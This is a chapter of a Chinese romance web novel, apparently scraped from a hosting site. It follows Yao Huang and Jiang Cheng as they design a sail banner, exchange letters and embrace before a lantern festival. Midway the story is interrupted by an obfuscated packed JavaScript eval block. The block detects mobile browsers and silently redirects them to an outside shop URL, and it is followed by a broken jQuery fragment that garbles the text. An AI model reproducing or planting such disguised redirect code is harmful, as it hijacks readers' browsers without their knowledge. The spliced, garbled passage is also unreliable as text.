文趣网 > 其他小说 > 娘子她神机妙算 > 40. 相拥
    为今之计,还得先设计一个帆旗。

    “姚大小姐不是擅长作画吗?”

    “就仰仗你了。”

    他看着对面的姑娘,想起那晚床边散落的图纸。

    阁楼都能画,一个帆旗又算得了什么。

    更何况,师父做完那衣裳指不定怎么教训自己呢。

    姚黄站在对面并不知道他现在正在想什么,伸出手掌在他眼前晃了晃。

    “我说好,”她凝眉探头,“你听到了吗?”

    一张精致水灵的脸出现在眼前,手中的茶杯陡然倾斜,茶水沾湿了衣角。

    “听到了。”

    他心底轻声叹气,平静说话,低头处理地上的茶渍。

    “你这箭伤真没伤到头?”

    她单手撑在桌上,饶有兴致的说着玩笑话。

    “你才脑子不好。”

    他嘴角一扯,直接的怼了回去。

    姚黄没跟他继续废话,起身去拿纸笔。

    却在书案上看见京城传来的信封。

    “你能给京城传信?”

    她指着被压在底下的信封,眼神中满是期待与好奇。

    江程这才想起,师父骂骂咧咧的回信没有被销毁。

    “你想写信?”他直接说出姚黄心中所想。

    “可以吗?”

    姚黄双手合十放在下巴,两只眼睛眨巴眨巴,一脸可怜兮兮的无辜模样。

    “先把设计图给我,我好去制作。”

    “好!”说着便将早已想好的设计图落于纸上。

    “你慢慢看,我去写信了。”她着急的将图纸丢给江程,转头去忙写信的事。

    姚黄心中狂喜,出来月余,因着赶路不方便,她便将回信的事一再压下,如今终于可以报个平安。

    阿母肯定是着急了,也不知阿父能不能安抚好她,冯明和楚长风有没有商量婚事,孙宁有没有相到合适的郎君。

    想必竹青前辈早已见到了师父,京城中又出现了一位技艺高超的琴师。

    她一股脑的写着,心中有数不尽的话要说。

    江程则是打开她方才寥寥几笔设计的帆旗图,本也想草草决定,看到最后竟出乎意料的有种故事感。

    帆布下方画着桥头,上方则是一艘巨大的船,船上的人似乎还背着包裹。

    这画面似曾相识……

    原是遇见张罗那天的场景,只是桥头多了许多人,想必是渔民的家人来接他们回家。

    以及,中间一个“锦”字尤为明显。

    “这帆旗还要署名?”

    他想当然的认为这个“锦”是在自己的封号。

    “陛下为何要给你封为“锦”王?”

    她正在写信的手忽然停下,眼睛直勾勾地盯着对方看。

    江程显然是被问住,皇兄封就封了,他哪里去想这么多。

    可姚黄不一样,她总是会想很多事情。

    就比如现在这个问题。

    从前她以为陛下是想让他过着锦衣玉食的生活,享受荣华富贵。

    可后来她才发现,这其实有另一层深意。

    “是衣锦还乡。”

    “陛下可比你想的周到。”

    她弯唇一笑,继续了手中动作,没有瞧见对面愣神的人。

    衣锦还乡吗?他当真没有想过。

    两人都是嫡出,又时常不见面,比起深厚的感情,怕是忌惮更多吧。

    比如,这次把他派来岭南,说是重建成王阁,实则惹到了各方势力。

    若是他们死在了这里,他到底是心痛多一点还是轻松多一点。

    心中的猜忌越来越多,早就想不到最单纯的那层兄弟情。

    他抬眼看向姚黄,眼底有些泛红,喉咙干涩的瞬间,他起身向外走去。

    她竟想到这层吗?那她是旁观者清还是对自己太过上心?

    溶溶月色,心事重重。

    不知在外面站了多久,姚黄带着装好的书信来到他身边。

    “我已装订完成,你要和月亮大人一同查看吗?”

    她俏皮的探出头来,手上的信封来回晃动,营造出欢快的气氛。

    月光照射下冷厉淡漠的脸在此刻重新注入血液,他轻轻转身,眼神中透着不可言说的情绪。

    姚黄准备了一堆的安慰话术在此刻显得有些笨拙,一句都张不开口。

    她心里犹豫半分,抬步将他抱住。

    江程自然的与她相拥,眼尾的一滴热泪滑过她的脖颈。

    她本能的脖子一缩,却被误以为要松开,急的他收紧了手臂。

    月亮挂在黑夜,一言不语,只是静静的享受片刻的安宁。

    “我想喘口气。”她犹豫的开口,不知道对方现在是什么状态。

    江程意识到自己的失态,立刻松开双臂向后退了两步:“抱歉。”

    嗓音沙哑,带着许多哽咽。

    骤然解脱的瞬间,她抬眼看到了对方失魂落魄的样子。

    “不用道歉。”

    她再次抱住他,轻拍几下后背,随即就松开手,将信封放到他手里。

    “早些就寝。”

    说完便转身回了房间。

    江程握着手中的信,这才对刚才发生的事有了实感,阴郁的心情全然不见。

    回到房中的姚黄心情可就没有这么好了,一个劲的被绵绵追问发生了什么。

    “真没什么。”她重复刚才的话术。

    “没什么你脸怎么这么红。”她不肯罢休。

    “我这是热的。”

    慌乱间随便胡诌了句谎话,随后才想起这有多离谱。

    她一个常年手脚冰凉的人怎么会嫌热,简直是疯了。

    绵绵看她懊恼的样子瞬间明白了什么,不再追问。

    “小姐不妨先瞧瞧明日穿什么?”她转移话题。

    “自是有什么穿什么。”

    绵绵一听可不乐意,走上前将她从床上拽起。

    “不行不行,明天的渔灯节是个大日子,小姐总要好好打扮下。”

    她卯足了劲要让床上的人起来,可她就是一动不动。

    “明日的事就留给明日做决断,我现在要睡觉。”

    她赖在床上就是不肯起。

    “明日小姐定是要睡到日上三杆了!”

    好吧,长痛不如短痛!

    她放弃挣扎,跟着她来到衣箱旁。

    “就那件蝴蝶飞花样的上衣,衣裙的话……”

    她站在原地思考,目光突然瞟到了一件叶黄罗裙。

    上一次穿还是在秋日宴,那时他对江程并不熟悉,甚至……有一点抵触。

    “就它吧。”

    她飞快地选好,利索的爬上床休息。

    也不知明日能否顺利得到帆旗。

    深夜,不知何时下起了雨。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17607995|205789||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    淅淅沥沥的,浇不开凋谢的花,淋不死筑窝的鸟。

    姚黄睁开眼时早已过了午时,果真让绵绵说准了。

    “绵绵。”

    她连续叫了几声,没有一声回应。

    她着急的下床,担心出了什么事情。

    推门出去时一头撞进了江程坚硬的胸膛。

    她慌忙的后退一步,抬眼就瞧见了他捂着胸口,一脸吃痛表情。

    “抱歉啊……”她一脸歉意的将对方请进屋。

    江程看着面前发型凌乱的少女,眼神不经意间瞟到了她雪白的肌肤。

    “你先把衣服换了。”他犹豫的开口,目光飞快挪开。

    姚黄这才意识到自己衣衫不整的站在对方面前,拔腿向屏风后走去。

    好在昨晚绵绵拉着她选好了衣服,如今拿起就能穿。

    想到这里,她奇怪开口:“绵绵呢?”

    “外面渔灯节正热闹,我便让她先去看了。”

    他背对屏风,自顾自地答着对方的话。

    “你为何不去?”

    难道是不喜热闹?

    “不感兴趣。”

    他微微勾唇,只说了这四个字。

    心里却是比谁都清楚,实则是害怕石大哥那样的事再次发生。

    姚黄听后只“噢”了一声,继续了手中的动作。

    良久,她走出屏风,眼前早已准备好的温水映入眼帘。

    “你准备的?”她开口。

    “嗯,”他将脸巾拿来,“大小姐可还满意?”

    姚黄嘴角上扬,眼底露出笑靥:“满意,王爷准备的都满意。”

    她正要弯腰洗漱,就感受到江程上前握住了她的头发。

    应当是怕她不方便。

    顺利的洗漱完毕,就是梳妆打扮了。

    妆面好说,这头发她还真有点为难……

    “你要不还是把绵绵叫回来吧。”

    她看着对方,一脸不好意思的神情。

    江程像是猜到了什么,犹豫几下还是张口:“要不……我试试?”

    ???姚黄像是听见了什么惊天大瓜,皱着眉头瞧着对方。

    瞧见她不可思议的表情,他察觉到对方是误会了什么。

    “我小时候帮阿姐做过一些简单的发髻,不确定现在还能不能想起来。”

    他解释几句,不知道对方相不相信。

    “好。”

    就这样,两人分工而作。

    姚黄拿起梳妆盒,铺上了胭脂水粉。

    江程拿起木梳,回忆着女子的梳妆顺序。

    好在对方都很满意这个结果。

    “王爷手巧,若是练琴,指不定能与我一较高下。”

    她转身笑着夸赞,却瞧见对方明显一愣神。

    他似乎对“练琴”很抵触,上次在禹州也是一样。

    她盯着对方几秒,期待对方说些什么。

    最终还是没听见他的解释,便渐渐收回笑容,换了个话题。

    “我们现在去外面?”她再次开口。

    “好。”

    江程将方才升起的情绪收回,点头回应。

    方才他是想说些什么的,可是话到嘴边,总是难以启齿。

    毕竟,那不是什么好的事情。

    这样好的日子,还是不要扫兴的好。

    两人很快将这件事淡忘,像往常一样出了门。